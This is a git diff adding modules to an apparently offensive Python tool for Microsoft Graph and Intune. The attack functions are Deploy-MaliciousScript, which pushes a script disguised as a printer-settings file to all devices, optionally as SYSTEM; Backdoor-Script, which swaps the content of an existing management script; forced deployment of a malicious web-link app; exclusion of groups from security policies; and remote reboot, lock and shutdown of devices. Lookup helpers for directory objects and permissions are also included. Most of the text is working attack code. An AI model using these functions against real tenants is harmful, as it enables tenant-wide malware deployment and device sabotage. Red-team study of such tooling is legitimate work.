+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for setting in response_json.get('value', []):
+ setting_instance = setting.get('settingInstance')
+ setting_def_id = setting_instance.get('settingDefinitionId')
+ if setting_instance and setting_def_id:
+ if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance":
+ choice_value = setting_instance.get('choiceSettingValue', {}).get('value')
+ if choice_value and setting_def_id in settings_map:
+ setting_text = settings_map[setting_def_id]
+ if isinstance(setting_text, dict):
+ setting_description = setting_text.get('description', setting_def_id)
+ setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value)
+ print(f"{setting_description}: {setting_value}")
+ else:
+ print(f"{setting_text}: {choice_value}")
+ children = setting_instance.get('choiceSettingValue', {}).get('children', [])
+ for child in children:
+ child_def_id = child.get('settingDefinitionId')
+ if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance":
+ simple_value = child.get('simpleSettingValue', {}).get('value')
+ if simple_value and child_def_id in settings_map:
+ mapped_value = settings_map[child_def_id]
+ if isinstance(mapped_value, dict):
+ description = mapped_value.get('description', child_def_id)
+ value = mapped_value['values'].get(str(simple_value), simple_value)
+ print(f"{description}: {value}")
+ else:
+ print(f"{mapped_value}: {simple_value}")
+ elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance":
+ simple_value = setting_instance.get('simpleSettingValue', {}).get('value')
+ if simple_value and setting_def_id in settings_map:
+ mapped_value = settings_map[setting_def_id]
+ if isinstance(mapped_value, dict):
+ description = mapped_value.get('description', setting_def_id)
+ value = mapped_value['values'].get(str(simple_value), simple_value)
+ print(f"{description}: {value}")
+ else:
+ print(f"{mapped_value}: {simple_value}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-usergroupaccountprotectionpolicyrules
+def display_usergroupaccountprotectionpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command")
+ return
+
+ print_yellow("[*] Display-UserGroupAccountProtectionPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+
+ if args.select:
+ api_url += f"?$select={args.select}"
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': get_user_agent(args)
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ settings = response.json().get('value', [])
+ local_groups = []
+ for setting in settings:
+ group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', [])
+ for group_setting in group_setting_collection:
+ children = group_setting.get('children', [])
+ for child in children:
+ child_children = child.get('groupSettingCollectionValue', [])
+ for child_child in child_children:
+ for item in child_child.get('children', []):
+ if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype":
+ choice_value = item.get('choiceSettingValue', {}).get('value', '')
+ description = "Users/Groups" if choice_value.endswith("_users") else "Manual"
+ print(f"User selection type: {description}")
+ if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action":
+ choice_value = item.get('choiceSettingValue', {}).get('value', '')
+ action_map = {
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)"
+ }
+ action = action_map.get(choice_value, choice_value)
+ print(f"Group and user action: {action}")
+ if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc":
+ group_map = {
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users",
+ "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests"
+ }
+ for choice in item.get('choiceSettingCollectionValue', []):
+ group = group_map.get(choice.get('value', ''), choice.get('value', ''))
+ local_groups.append(group)
+ if local_groups:
+ print(f"Local groups: {', '.join(local_groups)}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# add-exclusiongrouptopolicy
+def add_exclusiongrouptopolicy(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command")
+ return
+
+ print_yellow("[*] Add-ExclusionGroupToPolicy")
+ print("=" * 80)
+
+ assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments"
+ assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign"
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ # get the current assignments so we don't mess up day-to-day ops
+ response = requests.get(assignments_api_url, headers=headers)
+ if response.ok:
+ current_assignments = response.json().get('value', [])
+ else:
+ print_red(f"[-] Failed to retrieve current assignments: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+ return
+
+ try:
+ groupid = input("\nEnter Group ID To Exclude: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ new_assignments = current_assignments + [
+ {
+ "target": {
+ "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget",
+ "groupId": groupid
+ }
+ }
+ ]
+
+ body = {
+ "assignments": new_assignments
+ }
+
+ response = requests.post(assign_api_url, headers=headers, json=body)
+ if response.ok:
+ print_green(f"\n[+] Excluded group added to policy rules")
+ else:
+ print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# deploy-maliciousscript
+def deploy_maliciousscript(args):
+ if not args.script:
+ print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command")
+ return
+
+ print_yellow("[*] Deploy-MaliciousScript")
+ print("=" * 80)
+ script_content = read_file_content(args.script)
+
+ try:
+ display_name = input("\nEnter Script Display Name: ").strip()
+ description = input("Enter Script Description: ").strip()
+ runasaccount = input("Run As Account (user/system): ").strip().lower()
+ sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower()
+ runas32bit = input("Run As 64-bit? (true/false): ").strip().lower()
+ if runasaccount not in ['user', 'system']:
+ print("Invalid input for Run As Account. Defaulting to 'user.")
+ runasaccount = 'user'
+ if sigcheck not in ['true', 'false']:
+ print("Invalid input for Enforce Signature Check. Defaulting to 'false'.")
+ sigcheck = 'false'
+ if runas32bit not in ['true', 'false']:
+ print("Invalid input for Run As 64-bit. Defaulting to 'false'.")
+ runas32bit = 'false'
+ except KeyboardInterrupt:
+ sys.exit()
+
+ user_agent = get_user_agent(args)
+ url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts"
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}",
+ "Content-Type": "application/json",
+ "User-Agent": user_agent
+ }
+
+ encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8')
+ script_payload = {
+ "@odata.type": "#microsoft.graph.deviceManagementScript",
+ "displayName": display_name,
+ "description": description,
+ "runSchedule": {
+ "@odata.type": "microsoft.graph.runSchedule"
+ },
+ "scriptContent": encoded_script_content,
+ "runAsAccount": runasaccount,
+ "enforceSignatureCheck": sigcheck == 'true',
+ "fileName": "Deploy-PrinterSettings.ps1",
+ "runAs32Bit": runas32bit == 'true'
+ }
+
+ response = requests.post(url_create, headers=headers, json=script_payload)
+ if response.status_code == 201:
+ print_green("\n[+] Script created successfully")
+ script_id = response.json().get('id')
+ print_green(f"[+] Script ID: {script_id}")
+ url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign"
+
+ try:
+ assignments = []
+ assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower()
+ if assign_all_devices == 'yes':
+ assignments.append({
+ "target": {
+ "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget"
+ }
+ })
+ assign_all_users = input("Assign to all users? (yes/no): ").strip().lower()
+ if assign_all_users == 'yes':
+ assignments.append({
+ "target": {
+ "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget"
+ }
+ })
+ assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower()
+ if assign_specific_group == 'yes':
+ group_id = input("Enter Group ID: ").strip()
+ assignments.append({
+ "target": {
+ "@odata.type": "#microsoft.graph.groupAssignmentTarget",
+ "groupId": group_id
+ }
+ })
+ add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower()
+ if add_group_exclusion == 'yes':
+ exclusion_group_id = input("Enter Group ID to Exclude: ").strip()
+ assignments.append({
+ "target": {
+ "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget",
+ "groupId": exclusion_group_id
+ }
+ })
+
+ except KeyboardInterrupt:
+ sys.exit()
+
+ assignment_payload = {
+ "deviceManagementScriptAssignments": assignments
+ }
+
+ response = requests.post(url_assign, headers=headers, json=assignment_payload)
+ if response.status_code == 200:
+ print_green("\n[+] Script assigned successfully")
+ else:
+ print_red(f"[-] Failed to assign script: {response.status_code}")
+ print(response.text)
+ else:
+ print_red(f"[-] Failed to create script: {response.status_code}")
+ print(response.text)
+ print("=" * 80)
+
+# backdoor-script
+def backdoor_script(args):
+ if not args.id or not args.script:
+ print_red("[-] Error: --id and --script required for Backdoor-Script command")
+ return
+
+ print_yellow("[*] Backdoor-Script")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ # 1. get current target script settings and encode new script content so we don't override anything
+ # - could add option to alter pre-existing settings
+ try:
+ script_content = read_file_content(args.script)
+ encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8')
+ except Exception as e:
+ print_red(f"[-] Error reading or encoding script file: {e}")
+ return
+
+ response = requests.get(api_url, headers=headers)
+ if response.ok:
+ json_data = response.json()
+ json_data.pop('@odata.context', None) # remove or 400 err
+ json_data.pop('id', None) # remove or 400 err
+ json_data.pop('createdDateTime', None) # remove or 400 err
+ json_data.pop('lastModifiedDateTime', None) # remove or 400 err
+ json_data['scriptContent'] = encoded_script_content # replace with our new script content
+ else:
+ print_red(f"[-] HTTP Error: {response.status_code}")
+ print_red(response.text)
+ return
+
+ # 2. patch script with updated script content
+ patch = requests.patch(api_url, headers=headers, json=json_data)
+ if patch.ok:
+ print_green("\n[+] Patched device management script successfully\n")
+ json_data = patch.json()
+ script_content = json_data.get('scriptContent')
+ if script_content:
+ decoded_script_content = base64.b64decode(script_content).decode('utf-8')
+ json_data['scriptContent'] = decoded_script_content
+ json_data.pop('@odata.context', None)
+ json_data.pop('scriptContent', None)
+ for key, value in json_data.items():
+ print(f"{key} : {value}")
+ if script_content:
+ print_green("scriptContent :\n")
+ print(decoded_script_content)
+ else:
+ print_red(f"[-] Error patching device management script: {patch.status_code}")
+ print_red(patch.text)
+ print("=" * 80)
+
+# deploy-maliciousweblink
+def deploy_maliciousweblink(args):
+ print_yellow("[*] Deploy-MaliciousWebLink")
+ print("=" * 80)
+
+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ # all required
+ appUrl = input("\nApp URL: ").strip()
+ description = input("Description: ").strip()
+ displayName = input("Display Name: ").strip()
+ publisher = input("Publisher: ").strip()
+ isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower()
+ if isFeatured not in ['true', 'false']:
+ print("Invalid input for Company Portal. Defaulting to 'False'.")
+ isFeatured = 'False'
+ except KeyboardInterrupt:
+ sys.exit()
+
+ json_body = {
+ "@odata.type": "#microsoft.graph.windowsWebApp", # or microsoft.graph.webApp for standard web link
+ "appUrl": appUrl,
+ "categories": [],
+ "description": description,
+ "developer": "",
+ "displayName": displayName,
+ "informationUrl": "",
+ "isFeatured": isFeatured,
+ "notes": "",
+ "owner": "",
+ "privacyInformationUrl": "",
+ "publisher": publisher,
+ "roleScopeTagIds": []
+ }
+
+ response = requests.post(api_url, json=json_body, headers=headers)
+ if response.ok:
+ result = response.json()
+ print_green("\n[+] Malicious web link app deployed successfully")
+
+ appid = result['id']
+ print(f"\nApp ID: {appid}")
+
+ assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign"
+ assign_body = {
+ "mobileAppAssignments": [
+ {
+ "@odata.type": "#microsoft.graph.mobileAppAssignment",
+ "target": {
+ "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget"
+ },
+ "intent": "Required",
+ "settings": None
+ },
+ {
+ "@odata.type": "#microsoft.graph.mobileAppAssignment",
+ "target": {
+ "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget"
+ },
+ "intent": "Required",
+ "settings": None
+ }
+ ]
+ }
+
+ assign = requests.post(assign_url, json=assign_body, headers=headers)
+ if assign.ok:
+ print_green("\n[+] Web link app assigned successfully")
+ else:
+ print_red(f"\n[-] Failed to assign web link app: {response.status_code}")
+ print_red(response.text)
+ else:
+ print_red(f"[-] Failed to create web link app: {response.status_code}")
+ print_red(response.text)
+
+ print("=" * 80)
+
+# deploy-maliciouswin32app
+# - user will have to packagae app prior
+# https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/
+# https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/
+#
+# POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/
+# {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"}
+# -> need to add install/uninstall instruction batch script
+def deploy_maliciouswin32msi(args): # not working obvs
+ url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/"
+ # add the option to be available in the company portal for download
+ data = {
+ "@odata.type": "#microsoft.graph.win32LobApp",
+ "applicableArchitectures": "x64,x86",
+ "allowAvailableUninstall": False,
+ "categories": [],
+ "description": "IntuneMessageBox",
+ "developer": "",
+ "displayName": "IntuneMessageBox",
+ "displayVersion": "",
+ "fileName": "IntuneMessageBox.intunewin",
+ "installCommandLine": "IntuneMessageBox.exe",
+ "installExperience": {
+ "deviceRestartBehavior": "suppress",
+ "maxRunTimeInMinutes": 30,
+ "runAsAccount": "system"
+ },
+ "informationUrl": "",
+ "isFeatured": False,
+ "roleScopeTagIds": [],
+ "notes": "",
+ "minimumSupportedWindowsRelease": "1607",
+ "msiInformation": None,
+ "owner": "",
+ "privacyInformationUrl": "",
+ "publisher": "ECorp",
+ "returnCodes": [
+ {"returnCode": 0, "type": "success"},
+ {"returnCode": 1707, "type": "success"},
+ {"returnCode": 3010, "type": "softReboot"},
+ {"returnCode": 1641, "type": "hardReboot"},
+ {"returnCode": 1618, "type": "retry"}
+ ],
+ "rules": [
+ {
+ "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule",
+ "ruleType": "detection",
+ "operator": "notConfigured",
+ "check32BitOn64System": False,
+ "operationType": "exists",
+ "comparisonValue": None,
+ "fileOrFolderName": "IntuneMessageBox.exe",
+ "path": "C:\\Program Files\\IntuneMessageBox.exe"
+ }
+ ],
+ "runAs32Bit": False,
+ "setupFilePath": "IntuneMessageBox.exe",
+ "uninstallCommandLine": "IntuneMessageBox.exe"
+ }
+
+# deploy-maliciouswin32msi
+# - todo
+# def deploy_maliciouswin32msi(args):
+
+# update-deviceconfig
+def update_deviceconfig(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Update-DeviceConfig command")
+ return
+
+ properties = [
+ {
+ "Property": "ownerType",
+ "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal."
+ },
+ {
+ "Property": "managedDeviceOwnerType",
+ "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal."
+ },
+ {
+ "Property": "managedDeviceName",
+ "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name."
+ },
+ {
+ "Property": "notes",
+ "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported."
+ },
+ {
+ "Property": "roleScopeTagIds",
+ "Description": "List of Scope Tag IDs for this Device instance."
+ },
+ {
+ "Property": "configurationManagerClientHealthState",
+ "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent."
+ },
+ {
+ "Property": "configurationManagerClientInformation",
+ "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent."
+ }
+ ]
+
+ print_yellow("[*] Update-DeviceConfig")
+ print("=" * 80)
+ print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n")
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ table = [[prop["Property"], prop["Description"]] for prop in properties]
+ separator = ['-' * 20, '-' * 50]
+ tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left"))
+ print(tablenew)
+
+ try:
+ prop = input("\nEnter Property: ").strip()
+ newvalue = input("Enter New Value: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ json_body = {
+ prop : newvalue
+ }
+
+ response = requests.patch(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("\n[+] Device config updated successfully")
+
+ else:
+ print_red(f"\n[-] Failed to update device config: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# reboot-device
+def reboot_device(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Reboot-Device command")
+ return
+
+ print_yellow("[*] Reboot-Device")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow"
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.post(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Device reboot initiated successfully")
+ else:
+ print_red(f"[-] Failed to initiate device reboot: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# lock-device
+def lock_device(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Lock-Device command")
+ return
+ print_yellow("[*] Lock-Device")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock"
+ user_agent = get_user_agent(args)
+
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.post(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Device lock initiated successfully")
+ else:
+ print_red(f"[-] Failed to initiate device lock: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# shutdown-device
+def shutdown_device(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Shutdown-Device command")
+ return
+
+ print_yellow("[*] Shutdown-Device")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown"
+ user_agent = get_user_agent(args)
+
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.post(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Device shutdown initiated successfully")
+ else:
+ print_red(f"[-] Failed to initiate device shutdown: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# add more from
+# https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta
\ No newline at end of file
diff --git a/Graphpython/commands/locators.py b/Graphpython/commands/locators.py
new file mode 100644
index 0000000..fb06e6b
--- /dev/null
+++ b/Graphpython/commands/locators.py
@@ -0,0 +1,235 @@
+import requests
+import os
+import re
+from bs4 import BeautifulSoup
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+
+############
+# Locators #
+############
+
+def locate_objectid(args):
+ if not args.id:
+ print_red("[-] Error: --id required for Locate-ObjectID command")
+ return
+
+ print_yellow("[*] Locate-ObjectID")
+ print("=" * 80)
+ graph_api_url = f"https://graph.microsoft.com/v1.0/directoryObjects/{args.id}"
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ response = requests.get(graph_api_url, headers=headers)
+ response.raise_for_status()
+ object_data = response.json()
+ object_type = object_data.get('@odata.type', '').split('.')[-1]
+
+ print_green(f"Object Type: {object_type}")
+ print(f"ID: {object_data.get('id', 'N/A')}")
+ print(f"Display Name: {object_data.get('displayName', 'N/A')}")
+
+ if object_type == 'user':
+ print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}")
+ print(f"Mail: {object_data.get('mail', 'N/A')}")
+ print(f"Job Title: {object_data.get('jobTitle', 'N/A')}")
+ print(f"Department: {object_data.get('department', 'N/A')}")
+ print(f"Office Location: {object_data.get('officeLocation', 'N/A')}")
+ print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}")
+ print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}")
+ print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}")
+ print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}")
+ print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}")
+ elif object_type == 'group':
+ print(f"Mail: {object_data.get('mail', 'N/A')}")
+ print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}")
+ print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}")
+ print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}")
+ print(f"Visibility: {object_data.get('visibility', 'N/A')}")
+ print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}")
+ print(f"Description: {object_data.get('description', 'N/A')}")
+ print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}")
+ print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}")
+ elif object_type == 'servicePrincipal':
+ print(f"App ID: {object_data.get('appId', 'N/A')}")
+ print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}")
+ print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}")
+ print(f"Homepage: {object_data.get('homepage', 'N/A')}")
+ print(f"Login URL: {object_data.get('loginUrl', 'N/A')}")
+ print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}")
+ print(f"App Roles Count: {len(object_data.get('appRoles', []))}")
+ print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}")
+ print(f"Tags: {', '.join(object_data.get('tags', []))}")
+ print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}")
+ elif object_type == 'application':
+ print(f"App ID: {object_data.get('appId', 'N/A')}")
+ print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}")
+ print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}")
+ print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}")
+ print(f"App Roles Count: {len(object_data.get('appRoles', []))}")
+ print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}")
+ print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}")
+ print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}")
+ elif object_type == 'device':
+ print(f"Device ID: {object_data.get('deviceId', 'N/A')}")
+ print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}")
+ print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}")
+ print(f"Trust Type: {object_data.get('trustType', 'N/A')}")
+ print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}")
+ print(f"Compliance State: {object_data.get('complianceState', 'N/A')}")
+ print(f"Is Managed: {object_data.get('isManaged', 'N/A')}")
+ print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}")
+ print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}")
+
+ except requests.exceptions.HTTPError as e:
+ if e.response.status_code == 404:
+ print_red(f"[-] Object with ID {args.id} not found")
+ else:
+ print_red(f"[-] An error occurred while retrieving object details: {str(e)}")
+ except requests.exceptions.RequestException as e:
+ print_red(f"[-] An error occurred while making the request: {str(e)}")
+
+ print("=" * 80)
+
+def locate_permissionid(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Locate-PermissionID command")
+ return
+ print_yellow("[*] Locate-PermissionID")
+ print("=" * 80)
+
+ def parse_html(content):
+ soup = BeautifulSoup(content, 'html.parser')
+ permissions = {}
+
+ for h3 in soup.find_all('h3'):
+ title = h3.text
+ table = h3.find_next('table')
+ headers = [th.text for th in table.find('thead').find_all('th')]
+ rows = table.find('tbody').find_all('tr')
+
+ permission_data = {}
+ for row in rows:
+ cells = row.find_all('td')
+ category = cells[0].text
+ application = cells[1].text
+ delegated = cells[2].text
+ permission_data[category] = {
+ headers[1]: application,
+ headers[2]: delegated
+ }
+ permissions[title] = permission_data
+
+ return permissions
+
+ def highlight(text, should_highlight):
+ if should_highlight:
+ return f"\033[92m{text}\033[0m"
+ return text
+
+ def print_permission(permission, data, identifiers):
+ print_green(f"{permission}")
+ for category, values in data.items():
+ print(f" {category}:")
+ app_highlight = data['Identifier']['Application'] in identifiers or permission in identifiers
+ delegated_highlight = data['Identifier']['Delegated'] in identifiers or permission in identifiers
+ print(f" Application: {highlight(values['Application'], app_highlight)}")
+ print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}")
+ print()
+
+ identifiers = args.id.split(',')
+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'graphpermissions.txt')
+
+ try:
+ with open(file_path, 'r') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"[-] The file {file_path} does not exist.")
+ print("=" * 80)
+ return
+ except Exception as e:
+ print_red(f"[-] An error occurred: {e}")
+ print("=" * 80)
+ return
+
+ permissions = parse_html(content)
+ found_permissions = False
+
+ for permission, data in permissions.items():
+ if (data['Identifier']['Application'] in identifiers or
+ data['Identifier']['Delegated'] in identifiers or
+ permission in identifiers):
+ print_permission(permission, data, identifiers)
+ found_permissions = True
+
+ if not found_permissions:
+ print_red("[-] Permission ID or name not found")
+
+ print("=" * 80)
+
+def locate_directoryrole(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Locate-DirectoryRole command")
+ return
+ print_yellow("[*] Locate-DirectoryRole")
+ print("=" * 80)
+
+ def parse_html(content):
+ soup = BeautifulSoup(content, 'html.parser')
+ roles = []
+ for row in soup.find_all('tr')[1:]: # skip header row
+ cells = row.find_all('td')
+ if len(cells) == 3:
+ role_name = cells[0].text.strip()
+ description = cells[1].text.strip()
+ template_id = cells[2].text.strip()
+ privileged = 'privileged-roles-permissions' in str(cells[1])
+ roles.append({
+ 'name': role_name,
+ 'description': description,
+ 'template_id': template_id,
+ 'privileged': privileged
+ })
+ return roles
+
+ def print_role(role):
+ print(f"Role: \033[92m{role['name']}\033[0m")
+ print(f"Description: \033[92m{role['description']}\033[0m")
+ print(f"Template ID: \033[92m{role['template_id']}\033[0m")
+ print(f"Privileged: \033[92m{'Yes' if role['privileged'] else 'No'}\033[0m")
+ print()
+
+ identifier = args.id.lower()
+
